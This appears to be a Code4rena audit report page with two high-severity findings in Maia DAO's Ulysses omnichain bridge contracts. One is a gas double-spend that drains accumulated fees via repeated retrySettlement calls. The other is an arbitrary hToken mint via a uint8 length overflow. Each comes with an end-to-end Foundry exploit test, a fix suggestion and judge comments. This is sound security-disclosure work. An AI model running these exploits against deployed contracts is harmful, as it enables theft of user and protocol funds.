Platform: Code4rena
Start Date: 30/05/2023
Pot Size: $300,500 USDC
Total HM: 79
Participants: 101
Period: about 1 month
Judge: Trust
Total Solo HM: 36
Id: 242
League: ETH
Rank: 3/101
Findings: 8
Award: $18,712.07
🌟 Selected for report: 4
🚀 Solo Findings: 3
2568.2552 USDC - $2,568.26
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L238-L272 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L1018-L1054 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L244-L252 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/VirtualAccount.sol#L41-L53 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L1177-L1216 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/MulticallRootRouter.sol#L345-L409
Accumulated Awards inside RootBridgeAgent.sol
can be stolen. Accumulated Awards state will be compromised and awards will be stuck.
End-to-end coded PoC is at the end of PoC section.
The gas related state inside RootBridgeAgent
consists of
initialGas
- a checkpoint that records gasleft()
at the start of anyExecute
that has been called by Multichain when we have a cross-chain call.
userFeeInfo
- this is a struct that contains depositedGas
which is the total amount of gas that the user has paid for on a BranchChain. The struct also contains gasToBridgeOut
which is the amount of gas to be used for further cross-chain executions. The assumption is that gasToBridgeOut < depositedGas
which is checked at the start of anyExecute(...)
.
At the end of anyExecute(...)
- _payExecutionGas()
is invoked that calculates the supplied gas available for execution on the Root avaliableGas = _depositedGas - _gasToBridgeOut
and then a check is performed if availableGas
is enough to cover minExecCost
, (which uses the initialGas
checkpoint and subtracts a second gasleft()
checkpoint to represent the end of execution on the Root. The difference between availableGas
and minExecCost
is profit for the protocol and is recorded inside accumulatedFees
state variable.
function _payExecutionGas(uint128 _depositedGas, uint128 _gasToBridgeOut, uint256 _initialGas, uint24 _fromChain) internal { //reset initial remote execution gas and remote execution fee information delete(initialGas); delete(userFeeInfo); if (_fromChain == localChainId) return; //Get Available Gas uint256 availableGas = _depositedGas - _gasToBridgeOut; //Get Root Environment Execution Cost uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft()); //Check if sufficient balance if (minExecCost > availableGas) { _forceRevert(); return; } //Replenish Gas _replenishGas(minExecCost); //Account for excess gas accumulatedFees += availableGas - minExecCost; }
These are records of token’s that are “bridged out”(transferred) through the RootBridgeAgent
to a BranchBridgeAgent
. By default when a settlement is created it is Successful, unless execution on the Branch Chain fails and anyFallback(...)
is called on the RootBridgeAgent
which will set the settlement status as Failed. An example way to create a settlement will be to bridge out some assets from BranchBridgeAgent to RootBridgeAgent and embed extra data that represents another bridge operation from RootBridgeAgent to BranchBridgeAgent ( this flow passes through the MulticallRootRouter
& could be the same branch agent as the first one or different) - at this point a settlement will be created. Moreover, a settlement could fail, for example, because of insufficient gasToBridgeOut
provided by the user. In that case anyFallback
is triggered on the RootBridgeAgent failing the settlement. At this time retrySettlement()
becomes available to call for the particular settlement.
Let’s first examine closely the retrySettlement()
function.
function retrySettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable { //Update User Gas available. if (initialGas == 0) { userFeeInfo.depositedGas = uint128(msg.value); userFeeInfo.gasToBridgeOut = _remoteExecutionGas; } //Clear Settlement with updated gas. _retrySettlement(_settlementNonce); }
If initialGas == 0
it is assumed that someone directly calls retrySettlement(...)
and therefore has to deposit gas (msg.value), however, if initialGas > 0
it is assumed that retrySettlement(...)
could be part of an anyExecute(...)
call that contained instructions for the MulticallRootRouter
to do the call through a VirtualAccount
. Let’s assume the second scenario where initialGas > 0
and examine the internal _retrySettlement
.
First we have the call to _manageGasOut(...)
, where again if initialGas > 0
we assume that the retrySettlement(...)
is within an anyExecute
, and therefore userFeeInfo
state is already set. From there we perform a _gasSwapOut(...)
with userFeeInfo.gasToBridgeOut
where we swap gasToBridgeOut
amount of wrappedNative
for gas tokens that are burned. Then back in the internal _retrySettlement(...)
the new gas is recorded in the settlement record and the message is sent to a Branch Chain via anyCall
.
The weakness here is that after we retry a settlement with userFeeInfo.gasToBridgeOut
we do not set userFeeInfo.gasToBridgeOut = 0
, which if we perform only 1 retrySettlement(...)
is not exploitable, however, if we embed in a single anyExecute(...)
several retrySettlement(...)
calls it becomes obvious that we can pay 1 time for gasToBridgeOut
on a Branch Chain and use it multiple times on the RootChain
to fuel the many retrySettlement(...)
.
The second feature that will be part of the attack is that on a Branch Chain we get refunded for the excess of gasToBridgeOut
that wasn’t used for execution on the Branch Chain.
function _retrySettlement(uint32 _settlementNonce) internal returns (bool) { //Get Settlement Settlement memory settlement = getSettlement[_settlementNonce]; //Check if Settlement hasn't been redeemed. if (settlement.owner == address(0)) return false; //abi encodePacked bytes memory newGas = abi.encodePacked(_manageGasOut(settlement.toChain)); //overwrite last 16bytes of callData for (uint256 i = 0; i < newGas.length;) { settlement.callData[settlement.callData.length - 16 + i] = newGas[i]; unchecked { ++i; } } Settlement storage settlementReference = getSettlement[_settlementNonce]; //Update Gas To Bridge Out settlementReference.gasToBridgeOut = userFeeInfo.gasToBridgeOut; //Set Settlement Calldata to send to Branch Chain settlementReference.callData = settlement.callData; //Update Settlement Staus settlementReference.status = SettlementStatus.Success; //Retry call with additional gas _performCall(settlement.callData, settlement.toChain); //Retry Success return true; }
An attacker will trigger some number of callOutAndBridge(...)
invocations from a Branch Chain with some assets and extra data that will call callOutAndBridge(...)
on the Root Chain to transfer back these assets to the originating Branch Chain (or any other Branch Chain), however, the attacker will set minimum depositedGas
to ensure execution on the Root Chain, but insufficient gas to complete remote execution on the Branch Chain, therefore, failing a number of settlements. The attacker will then follow with a callOutAndBridge(...)
from a Branch Chain that contains extra data for the MutlicallRouter
for the VirtualAccount
to call retrySettlement(...)
for every Failed settlement. Since we will have multiple retrySettlement(...)
invocations inside a single anyExecute
at some point the gasToBridgeOut
sent to each settlement will become >
the deposited gas and we will be spending from the Root Branch reserves (accumulated rewards). The attacker will redeem his profit on the Branch Chain, since he gets a gas refund there, and there will also be a mismatch between accumulatedRewards
and the native currency in RootBridgeAgent
, therefore, sweep()
will revert and any accumulatedRewards
that are left will be bricked.
Copy the two functions testGasIssue
& _prepareDeposit
in test/ulysses-omnichain/RootTest.t.sol
and place them in the RootTest
contract after the setup.
Execute with forge test --match-test testGasIssue -vv
Result - attacker starts with 1000000000000000000 wei (1 ether) and has 1169999892307980000 wei (>1 ether) after execution of attack (the end number could be slightly different, depending on foundry version). Mismatch between accumulatedRewards
and the amount of WETH in the contract.
Note - there are console logs added from the developers in some of the mock contracts, consider commenting them out for clarity of the output.
function testGasIssue() public { testAddLocalTokenArbitrum(); console2.log("---------------------------------------------------------"); console2.log("-------------------- GAS ISSUE START---------------------"); console2.log("---------------------------------------------------------"); // Accumulate rewards in RootBridgeAgent address some_user = address(0xAAEE); hevm.deal(some_user, 1.5 ether); // Not a valid flag, MulticallRouter will return false, that's fine, we just want to credit some fees bytes memory empty_params = abi.encode(bytes1(0x00)); hevm.prank(some_user); avaxMulticallBridgeAgent.callOut{value: 1.1 ether }(empty_params, 0); // Get the global(root) address for the avax H mock token address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId); // Attacker starts with 1 ether address attacker = address(0xEEAA); hevm.deal(attacker, 1 ether); // Mint 1 ether of the avax mock underlying token hevm.prank(address(avaxPort)); MockERC20(address(avaxMockAssetToken)).mint(attacker, 1 ether); // Attacker aproves the underlying token hevm.prank(attacker); MockERC20(address(avaxMockAssetToken)).approve(address(avaxPort), 1 ether); // Print out the amounts of WrappedNative & AccumulateAwards state console2.log("RootBridge WrappedNative START",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent))); console2.log("RootBridge ACCUMULATED FEES START", multicallBridgeAgent.accumulatedFees()); // Attacker's underlying avax mock token balance console2.log("Attacker underlying token balance avax", avaxMockAssetToken.balanceOf(attacker)); // Prepare a single deposit with remote gas that will cause the remote exec from the root to branch to fail // We will have to mock this fail since we don't have the MultiChain contracts, but the provided // Mock Anycall has anticipated for that DepositInput memory deposit = _prepareDeposit(); uint128 remoteExecutionGas = 2_000_000_000; Multicall2.Call[] memory calls = new Multicall2.Call[](0); OutputParams memory outputParams = OutputParams(attacker, globalAddress, 500, 500); bytes memory params = abi.encodePacked(bytes1(0x02),abi.encode(calls, outputParams, avaxChainId)); console2.log("ATTACKER ETHER BALANCE START", attacker.balance); // Toggle anyCall for 1 call (Bridge -> Root), this config won't do the 2nd anyCall // Root -> Bridge (this is how we mock BridgeAgent reverting due to insufficient remote gas) MockAnycall(localAnyCallAddress).toggleFallback(1); // execute hevm.prank(attacker); // in reality we need 0.00000002 (supply a bit more to make sure we don't fail execution on the root) avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether }(params, deposit, remoteExecutionGas); // Switch to normal mode MockAnycall(localAnyCallAddress).toggleFallback(0); // this will call anyFallback() on the Root and Fail the settlement MockAnycall(localAnyCallAddress).testFallback(); // Repeat for 1 more settlement MockAnycall(localAnyCallAddress).toggleFallback(1); hevm.prank(attacker); avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether}(params, deposit, remoteExecutionGas); MockAnycall(localAnyCallAddress).toggleFallback(0); MockAnycall(localAnyCallAddress).testFallback(); // Print out the amounts of WrappedNative & AccumulateAwards state after failing the settlements but before the attack console2.log("RootBridge WrappedNative AFTER SETTLEMENTS FAILUER BUT BEFORE ATTACK",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent))); console2.log("RootBridge ACCUMULATED FEES AFTER SETTLEMENTS FAILUER BUT BEFORE ATTACK", multicallBridgeAgent.accumulatedFees()); // Encode 2 calls to retrySettlement(), we can use 0 remoteGas arg since // initialGas > 0 because we execute the calls as a part of an anyExecute() Multicall2.Call[] memory malicious_calls = new Multicall2.Call[](2); bytes4 selector = bytes4(keccak256("retrySettlement(uint32,uint128)")); malicious_calls[0] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,1,0)}); malicious_calls[1] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,2,0)}); // malicious_calls[2] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,3,0)}); outputParams = OutputParams(attacker, globalAddress, 500, 500); params = abi.encodePacked(bytes1(0x02),abi.encode(malicious_calls, outputParams, avaxChainId)); // At this point root now has ~1.1 hevm.prank(attacker); avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.1 ether}(params, deposit, 0.09 ether); // get attacker's virtual account address address vaccount = address(rootPort.getUserAccount(attacker)); console2.log("ATTACKER underlying balance avax", avaxMockAssetToken.balanceOf(attacker)); console2.log("ATTACKER global avax h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount)); console2.log("ATTACKER ETHER BALANCE END", attacker.balance); console2.log("RootBridge WrappedNative END",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent))); console2.log("RootBridge ACCUMULATED FEES END", multicallBridgeAgent.accumulatedFees()); console2.log("---------------------------------------------------------"); console2.log("-------------------- GAS ISSUE END ----------------------"); console2.log("---------------------------------------------------------"); } function _prepareDeposit() internal returns(DepositInput memory) { // hToken address address addr1 = avaxMockAssethToken; // underlying address address addr2 = address(avaxMockAssetToken); uint256 amount1 = 500; uint256 amount2 = 500; uint24 toChain = rootChainId; return DepositInput({ hToken:addr1, token:addr2, amount:amount1, deposit:amount2, toChain:toChain }); }
Manual inspection
It is hard to conclude a particular fix but consider setting userFeeInfo.gasToBridgeOut = 0
after retrySettlement
as part of the mitigation.
Context
#0 - c4-judge
2023-07-11T09:32:30Z
trust1995 marked the issue as primary issue
#1 - c4-judge
2023-07-11T09:32:35Z
trust1995 marked the issue as satisfactory
#2 - 0xBugsy
2023-07-12T16:08:51Z
The fix recommended for this issue was saving the available gas and clearing the gasToBridgeOut
after each manageGasOut
in order to avoid this double spending and using available gas in payExecutionGas
#3 - c4-sponsor
2023-07-12T16:08:56Z
0xBugsy marked the issue as sponsor confirmed
#4 - c4-sponsor
2023-07-12T16:10:30Z
0xBugsy marked the issue as disagree with severity
#5 - trust1995
2023-07-24T14:08:35Z
Loss of yield = loss of funds = High impact from my perspective.
#6 - c4-judge
2023-07-25T13:12:31Z
trust1995 marked the issue as selected for report
#7 - 0xLightt
2023-09-06T17:33:07Z
We recognize the audit's findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.
🌟 Selected for report: Voyvoda
5707.2337 USDC - $5,707.23
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L275-L316 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgentExecutor.sol#L259-L299 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L404-L426 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootPort.sol#L276-L284
Adversary can construct an attack vector that let’s him mint arbitrary amount of hToken’s on the Root Chain.
End-to-end coded PoC is at the end of PoC section.
The attack will start on a Branch Chain where we have some underlying ERC20 token
and a corresponding hToken
that represents token
within the omnichain system. The callOutSignedAndBridgeMultiple(...)
function is supposed to bridge multiple tokens to a destination chain and also carry the msg.sender so that the tokens can be credited to msg.sender's VirtualAccount. The attacker will call the function with such DepositMultipleInputParams
_dParams
that take advantage of several weaknesses contained within the function (below is an overview of DepositMultipleInput struct & flow diagram of BranchBridgeAgent).
struct DepositMultipleInput { //Deposit Info address[] hTokens; //Input Local hTokens Address. address[] tokens; //Input Native / underlying Token Address. uint256[] amounts; //Amount of Local hTokens deposited for interaction. uint256[] deposits; //Amount of native tokens deposited for interaction. uint24 toChain; //Destination chain for interaction. }
flowchart TB A["callOutSignedAndBridgeMultiple(,DepositMultipleInput memory _dParams,)"] -->|1 |B["_depositAndCallMultiple(...)"] B --> |2| C["_createDepositMultiple(...)"] B --> |4| D["__performCall(_data)"] C --> |3| E["IPort(address).bridgeOutMultiple(...)"]
Weakness #1
is that the supplied array of tokens address[] hTokens
in _dParams
is not checked if it exceeds 256, this causes an obvious issue where if hTokens
length is > 256 the recorded length in packedData
will be wrong since it's using an unsafe cast to uint8 and will overflow - uint8(_dParams.hTokens.length)
.
function callOutSignedAndBridgeMultiple( bytes calldata _params, DepositMultipleInput memory _dParams, uint128 _remoteExecutionGas ) external payable lock requiresFallbackGas { // code ... //Encode Data for cross-chain call. bytes memory packedData = abi.encodePacked( bytes1(0x06), msg.sender, uint8(_dParams.hTokens.length), depositNonce, _dParams.hTokens, _dParams.tokens, _dParams.amounts, _deposits, _dParams.toChain, _params, msg.value.toUint128(), _remoteExecutionGas ); // code ... _depositAndCallMultiple(...); }
Weakness #2
arises in the subsequent internal function _depositAndCallMultiple(...)
, where the only check done on the supplied hTokens
, tokens
, amounts
& deposits
arrays is if the lengths match, however, there is no check if the length is the same as the one passed earlier to packedData.
function _depositAndCallMultiple( address _depositor, bytes memory _data, address[] memory _hTokens, address[] memory _tokens, uint256[] memory _amounts, uint256[] memory _deposits, uint128 _gasToBridgeOut ) internal { //Validate Input if ( _hTokens.length != _tokens.length || _tokens.length != _amounts.length || _amounts.length != _deposits.length ) revert InvalidInput(); //Deposit and Store Info _createDepositMultiple(_depositor, _hTokens, _tokens, _amounts, _deposits, _gasToBridgeOut); //Perform Call _performCall(_data); }
Lastly, weakness #3
is that bridgeOutMultiple(...)
, called within _createDepositMultiple(...)
, allows for supplying any address in the hTokens
array since it only performs operations on these addresses if -
_deposits[i] > 0
or _amounts[i] - _deposits[i] > 0
- in other words - if we set deposits[i] = 0
& amounts[i] = 0
we can supply ANY address in hTokens[i]
.
function bridgeOutMultiple( address _depositor, address[] memory _localAddresses, address[] memory _underlyingAddresses, uint256[] memory _amounts, uint256[] memory _deposits ) external virtual requiresBridgeAgent { for (uint256 i = 0; i < _localAddresses.length;) { if (_deposits[i] > 0) { _underlyingAddresses[i].safeTransferFrom( _depositor, address(this), _denormalizeDecimals(_deposits[i], ERC20(_underlyingAddresses[i]).decimals()) ); } if (_amounts[i] - _deposits[i] > 0) { _localAddresses[i].safeTransferFrom(_depositor, address(this), _amounts[i] - _deposits[i]); ERC20hTokenBranch(_localAddresses[i]).burn(_amounts[i] - _deposits[i]); } unchecked { i++; } } }
The attacker will construct such DepositMultipleInput _dParams
where address[] hTokens
will have a length of 257 where all entries, except hTokens[1], hTokens[2] & hTokens[3]
, will contain the Branch address of the same hToken
(note that in the examined functions above there is no restriction to supply the same hToken
address multiple times).
In a similar way address[] tokens
will have length of 257, however, here all entries will contain the underlying token
(it is crucial to include the address of the underlying token
to bypass _normalizeDecimals
).
Next uint256[] amounts
will be of length 257 where all entries will contain 0. Similarly
uint256[] deposits
will be of length 257 where all entries will contain 0. In such configuration the attacker is able to supply a malicious hToken
address as per weakness #3
.
The crucial part now is that hTokens[1]
will contain the address of the underlying token
- this is needed to later bypass the params check on the RootChain.
hTokens[2] & hTokens[3]
will contain the attacker’s malicious payload address that when converted to bytes and then uint256
will represent the arbitrary amount of tokens that the attacker will mint (this conversion will happen on the RootChain).
This is how the attack vector looks expressed in code.
// hToken address, note the "h" in the var name address addr1 = avaxMockAssethToken; // underlying address address addr2 = address(avaxMockAssetToken); // 0x2FAF0800 when packed to bytes and then cast to uint256 = 800000000 // this amount will be minted on Root address malicious_address = address(0x2FAF0800); uint256 amount1 = 0; uint256 amount2 = 0; uint num = 257; address[] memory htokens = new address[](num); address[] memory tokens = new address[](num); uint256[] memory amounts = new uint256[](num); uint256[] memory deposits = new uint256[](num); for(uint i=0; i<num; i++) { htokens[i] = addr1; tokens[i] = addr2; amounts[i] = amount1; deposits[i] = amount2; } // address of the underlying token htokens[1] = addr2; // copy of entry containing the arbitrary number of tokens htokens[2] = malicious_address; // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root htokens[3] = malicious_address; uint24 toChain = rootChainId; // create input DepositMultipleInput memory input = DepositMultipleInput({ hTokens:htokens, tokens:tokens, amounts:amounts, deposits:deposits, toChain:toChain });
Essentially what happens now is that the attacker has packedData
that contains 257 hTokens
, tokens
, amounts
& deposits
, however due to weakness #1
the recorded length is 1 and due to weakness #2
and #3
this construction of the Input will reach _peformCal(data)
and the mismatch between the number of entries and the actual number of supplied entries will cause malicious behavior on the RootChain.
bytes memory packedData = abi.encodePacked( bytes1(0x06), msg.sender, uint8(_dParams.hTokens.length), depositNonce, _dParams.hTokens, _dParams.tokens, _dParams.amounts, _deposits, _dParams.toChain, _params, msg.value.toUint128(), _remoteExecutionGas );
The attack vector is inline with the general encoding scheme displayed below, the important note is that Length will contain a value of 1 instead of 257 which will disrupt the decoding on the RootBranch. More details about the encoding can be found in IRootBridgeAgent.sol
.
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+ | Flag | Signer | Length | depositNonce | hTokens[0], [1] ... [256] | tokens[0] ... [256] | amounts[0] ... [256] | deposits[0] ... [256] | toChain | data | gas | +--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+ | 1 byte | 20 bytes | 1 byte | 4 bytes | 32 bytes * 257 | 32 bytes * 257 | 32 bytes * 257 | 32 bytes * 257 | 3 bytes | any | 32 bytes | +--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
The entry point for a message on the Root Chain is anyExecute(bytes calldata data)
in RootBridgeAgent.sol
- this will be called by Multichain’s AnycallExecutor. The function will unpack and navigate the supplied flag 0x06 - corresponding to callOutSignedAndBridgeMultiple(...)
that was invoked on the Branch Chain.
Next executeSignedWithDepositMultiple(...)
will be invoked residing in RootBridgeAgentExecutor.sol
, which will subsequently call _bridgeInMultiple(...)
, however, the amount of data passed to _bridgeInMultiple(...)
depends on the packed length of the hTokens
array.
function executeSignedWithDepositMultiple( address _account, address _router, bytes calldata _data, uint24 _fromChainId ) external onlyOwner returns (bool success, bytes memory result) { //Bridge In Assets DepositMultipleParams memory dParams = _bridgeInMultiple( _account, _data[ PARAMS_START_SIGNED: PARAMS_END_SIGNED_OFFSET + uint16(uint8(bytes1(_data[PARAMS_START_SIGNED]))) * PARAMS_TKN_SET_SIZE_MULTIPLE ], _fromChainId ); // more code ...
If we examine closer the constants and check with the encoding scheme -
PARAMS_START_SIGNED = 21
PARAMS_END_SIGNED_OFFSET = 29
PARAMS_TKN_SET_SIZE_MULTIPLE = 128,
Here the intended behavior is that _data
is sliced in such a way that it removes the flag bytes1(0x06)
and the msg.sender address, hence we start at byte 21, we have 29 to account for the bytes4(nonce), bytes3(chainId) and bytes1(length) (total of 8 bytes, but remember that byte slicing is exclusive of the second byte index) + uint16(length) * 128 for every set of htoken
token
amount
& deposit
. What will happen in the attack case is that _data
will be cut short since length will be 1 instead of 257 and _data
will contain length, nonce, chainId and the first 4 entries of the constructed hTokens[]
array.
Now _bridgeInMultiple
will unpack the _dParams
where numOfAssets = 1
, hence only 1 iteration, and will populate a set with in reality the first 4 entries of the supplied hTokens[]
in the attack vector -
hTokens[0] = hToken address
,
tokens[0] = token address
,
amounts[0] = malicious address payload cast to uint256
,
deposits[0] = malicious address payload cast to uint256
.
function _bridgeInMultiple(address _recipient, bytes calldata _dParams, uint24 _fromChain) internal returns (DepositMultipleParams memory dParams) { // Parse Parameters uint8 numOfAssets = uint8(bytes1(_dParams[0])); uint32 nonce = uint32(bytes4(_dParams[PARAMS_START:5])); uint24 toChain = uint24(bytes3(_dParams[_dParams.length - 3:_dParams.length])); address[] memory hTokens = new address[](numOfAssets); address[] memory tokens = new address[](numOfAssets); uint256[] memory amounts = new uint256[](numOfAssets); uint256[] memory deposits = new uint256[](numOfAssets); for (uint256 i = 0; i < uint256(uint8(numOfAssets));) { //Parse Params hTokens[i] = address( uint160( bytes20( bytes32( _dParams[ PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * i) + 12: PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * (PARAMS_START + i)) ] ) ) ) ); tokens[i] = address( uint160( bytes20( _dParams[ PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(i + numOfAssets) + 12: PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i + numOfAssets) ] ) ) ); amounts[i] = uint256( bytes32( _dParams[ PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)): PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i) ] ) ); deposits[i] = uint256( bytes32( _dParams[ PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)): PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i) ] ) ); unchecked { ++i; } } //Save Deposit Multiple Params dParams = DepositMultipleParams({ numberOfAssets: numOfAssets, depositNonce: nonce, hTokens: hTokens, tokens: tokens, amounts: amounts, deposits: deposits, toChain: toChain }); RootBridgeAgent(payable(msg.sender)).bridgeInMultiple(_recipient, dParams, _fromChain); }
Subsequently bridgeInMultiple(...)
is called in RootBridgeAgent.sol
, where bridgeIn(...)
is called for every set of hToken
, token
, amount
& deposit
- one iteration in the attack scenario.
bridgeIn(...)
now performs the critical checkParams
from the CheckParamsLib
library where if only 1 of 3 conditions is true
we will have a revert.
The first check is revert if _dParams.amount < _dParams.deposit
- this is false
since amount
& deposit
are equal to the uint256
cast of the bytes
packing of the malicious address payload.
The second check is:
(_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain))
Here it’s true amount > 0
, however, _dParams.hToken
is the first entry hTokens[0]
of the attack vector’s hTokens[]
array, therefore, it is a valid address & isLocalToken(…)
will return true
and will be negated by !
which will make the statement false
because of &&
, therefore, it is bypassed.
The third check is:
(_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain))
here it’s true deposit > 0
, however, _dParams.token
is the second entry hTokens[1]
of the attack vector’s hTokens[]
array, therefore, it is a valid underlying address & isUnderlyingToken(…)
will return true
and will be negated by !
which will make the statement false
because of &&
, therefore, it is bypassed.
Whole checkParams(…)
function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain) internal view returns (bool) { if ( (_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount. || (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists. || (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists. ) { return false; } return true; }
Now back to bridgeIn(...)
in RootBridgeAgent we get the globalAddress
for _dParams.hToken
(again this is the valid hToken[0]
address from Branch Chain) and bridgeToRoot(...)
is called that resides in RootPort.sol
.
//Get global address address globalAddress = IPort(localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _fromChain); //Check if valid asset if (globalAddress == address(0)) revert InvalidInputParams(); //Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit IPort(localPortAddress).bridgeToRoot(_recipient, globalAddress, _dParams.amount, _dParams.deposit, _fromChain);
bridgeToRoot(...)
will check if the globalAddress
is valid and it is since we got it from the valid hTokens[0]
entry in the constructed attack. Then _amount - _deposit = 0
, therefore, no tokens will be transferred and finally the critical line if (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId)
here _deposit
is the malicious address payload that was packed to bytes and then unpacked and cast to uint256
& _hToken
is the global address that we got from hTokens[0]
back in the unpacking, therefore whatever the value of the uint256
representation of the malicious address is will be minted to the attacker.
Copy the two functions testArbitraryMint
& _prepareAttackVector
in test/ulysses-omnichain/RootTest.t.sol
and place them in the RootTest
contract after the setup.
Execute with forge test --match-test testArbitraryMint -vv
Result - 800000000 minted tokens for free in attacker’s Virtual Account
function testArbitraryMint() public { // setup function used by developers to add local/global tokens in the system testAddLocalTokenArbitrum(); // set attacker address & mint 1 ether to cover gas cost address attacker = address(0xAAAA); hevm.deal(attacker, 1 ether); // get avaxMockAssetHtoken global address that's on the Root address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId); // prepare attack vector bytes memory params = ""; DepositMultipleInput memory dParams = _prepareAttackVector(); uint128 remoteExecutionGas = 200_000_000_0; console2.log("------------------"); console2.log("------------------"); console2.log("ARBITRARY MINT LOG"); console2.log("Attacker address", attacker); console2.log("Avax h token address",avaxMockAssethToken); console2.log("Avax underlying address", address(avaxMockAssetToken)); console2.log("Attacker h token balance", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker)); console2.log("Attacker underlying balance", avaxMockAssetToken.balanceOf(attacker)); // execute attack hevm.prank(attacker); avaxMulticallBridgeAgent.callOutSignedAndBridgeMultiple{value: 0.00005 ether}(params, dParams, remoteExecutionGas); // get attacker's virtual account address address vaccount = address(rootPort.getUserAccount(attacker)); console2.log("Attacker h token balance avax", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker)); console2.log("Attacker underlying balance avax", avaxMockAssetToken.balanceOf(attacker)); console2.log("Attacker h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount)); console2.log("ARBITRARY MINT LOG END"); console2.log("------------------"); } function _prepareAttackVector() internal view returns(DepositMultipleInput memory) { // hToken address address addr1 = avaxMockAssethToken; // underlying address address addr2 = address(avaxMockAssetToken); // 0x2FAF0800 when encoded to bytes and then cast to uint256 = 800000000 address malicious_address = address(0x2FAF0800); uint256 amount1 = 0; uint256 amount2 = 0; uint num = 257; address[] memory htokens = new address[](num); address[] memory tokens = new address[](num); uint256[] memory amounts = new uint256[](num); uint256[] memory deposits = new uint256[](num); for(uint i=0; i<num; i++) { htokens[i] = addr1; tokens[i] = addr2; amounts[i] = amount1; deposits[i] = amount2; } // address of the underlying token htokens[1] = addr2; // copy of entry containing the arbitrary number of tokens htokens[2] = malicious_address; // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root htokens[3] = malicious_address; uint24 toChain = rootChainId; // create input DepositMultipleInput memory input = DepositMultipleInput({ hTokens:htokens, tokens:tokens, amounts:amounts, deposits:deposits, toChain:toChain }); return input; }
Manual inspection
Enforce more strict checks around input param validation on bridging multiple tokens.
Invalid Validation
#0 - c4-judge
2023-07-11T09:30:25Z
trust1995 marked the issue as primary issue
#1 - c4-judge
2023-07-11T09:30:29Z
trust1995 marked the issue as satisfactory
#2 - c4-sponsor
2023-07-12T16:01:34Z
0xBugsy marked the issue as sponsor confirmed
#3 - 0xBugsy
2023-07-12T16:03:07Z
